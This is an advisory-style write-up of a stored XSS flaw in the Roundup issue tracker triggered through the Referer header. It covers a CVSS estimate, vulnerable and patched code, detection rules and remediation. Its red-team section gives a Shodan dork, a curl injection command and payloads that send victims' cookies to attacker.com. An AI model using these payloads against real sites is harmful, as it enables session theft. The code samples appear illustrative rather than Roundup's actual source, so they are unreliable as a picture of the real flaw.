CVE-2024-39125
Executive Summary
CVE-2024-39125 is a stored Cross-Site Scripting (XSS) vulnerability in Roundup, an open-source issue tracking system, affecting versions prior to 2.4.0. The vulnerability allows an attacker to inject arbitrary JavaScript code via the HTTP Referer header, which is then reflected in the application's user interface without proper sanitization. This can lead to session hijacking, credential theft, or further compromise of the Roundup instance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Roundup is a Python-based application distributed via PyPI. The vulnerability affects the core application logic, not a third-party dependency. Users should verify their Roundup installation version and update to 2.4.0 or later. The package is maintained on GitHub and PyPI, and no malicious packages have been reported in relation to this CVE.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the nature of the vulnerability, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The attack is performed over HTTP.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must view the malicious Referer header in the application.
- Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Estimated CVSS Score: 6.1 (Medium)
Threat Level: Medium – Exploitation requires user interaction but can lead to significant impact.
Deep Dive & Mechanics
The vulnerability exists in how Roundup handles the HTTP Referer header. When a user accesses a Roundup page, the application logs or displays the Referer header value. In versions before 2.4.0, this value is not properly sanitized before being rendered in the HTML output. An attacker can craft a malicious Referer header containing a <script> tag or other HTML/JavaScript payload. When a victim (e.g., an administrator) views the page that displays the Referer, the script executes in their browser context.
Attack Flow:
- Attacker sends a request to a Roundup instance with a crafted
Refererheader:Referer: http://attacker.com/"><script>alert('XSS')</script> - Roundup logs or displays this Referer value on a page (e.g., issue details, user activity log).
- Victim (e.g., admin) views that page.
- The malicious script executes in the victim's browser, potentially stealing cookies, redirecting to a phishing site, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (pre-2.4.0):
# In some template or handler
referer = request.get_header('Referer')
# Directly output without sanitization
return f"<div>Referer: {referer}</div>"
Patched Code (2.4.0+):
import html
referer = request.get_header('Referer')
# Sanitize output
safe_referer = html.escape(referer)
return f"<div>Referer: {safe_referer}</div>"
The patch uses html.escape() to convert special characters like <, >, ", and & into their HTML entity equivalents, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Roundup instance (version < 2.4.0)
- Ability to send HTTP requests with custom headers
Exploit Steps:
- Identify a Roundup instance (e.g., via Shodan dork:
http.title:"Roundup"). - Send a request to any Roundup page with a malicious Referer header:
curl -H "Referer: http://evil.com/"><script>alert('XSS')</script>" http://target.roundup.com/issue?status=open - Wait for an administrator or user to view the page that displays the Referer (e.g., issue details, user activity log).
- The injected script executes, allowing further actions like cookie theft:
fetch('http://attacker.com/steal?cookie=' + document.cookie);
Advanced Payload:
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>
Blue Team
Detection:
- Monitor for unusual Referer headers containing HTML tags or JavaScript.
- Use WAF rules to block Referer headers with
<script>oronerrorattributes. - Enable logging of all Referer headers and review for anomalies.
Honeypot:
- Deploy a fake Roundup instance to capture attacker payloads.
- Analyze captured Referer headers for patterns.
Lab Setup:
- Install vulnerable Roundup version:
pip install roundup==2.3.0 roundup-admin init mytracker roundup-server -p 8080 mytracker - Test exploitation as described above.
- Upgrade to patched version:
pip install roundup==2.4.0
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
Refererheaders containing<script>,onerror,onload, or other HTML event handlers. - Outbound connections to attacker-controlled domains from the Roundup server (if XSS payload exfiltrates data).
- HTTP requests with
- File IOCs:
- Log entries showing unsanitized Referer headers with HTML/JavaScript.
- Behavioral IOCs:
- Unexpected JavaScript execution in the context of the Roundup application.
- Unauthorized actions performed by admin accounts.
Detection Engineering
YARA Rule
rule CVE_2024_39125_Roundup_XSS_Referer {
meta:
description = "Detects malicious Referer headers targeting Roundup CVE-2024-39125"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-39125"
strings:
$script_tag = /<script[^>]*>.*?<\/script>/i
$event_handler = /on\w+\s*=\s*['\"].*?['\"]/i
$html_tag = /<[^>]+>/
condition:
any of them
}
Sigma Rule
title: CVE-2024-39125 Roundup XSS via Referer Header
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with malicious Referer headers targeting Roundup
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-referer|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in Referer (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-39125 Roundup XSS via Referer Header"; flow:to_server; content:"Referer|3a|"; http_header; pcre:"/Referer\x3a[^\r\n]*<script/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Roundup to version 2.4.0 or later.
- If upgrade is not possible, apply a WAF rule to block Referer headers containing HTML tags.
- Sanitize all user-controlled input, including HTTP headers, before rendering.
Long-term Measures:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly update Roundup and its dependencies.
- Conduct security audits of custom templates and handlers.
Workaround:
- Modify the Roundup source code to escape the Referer header output using
html.escape()or similar.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert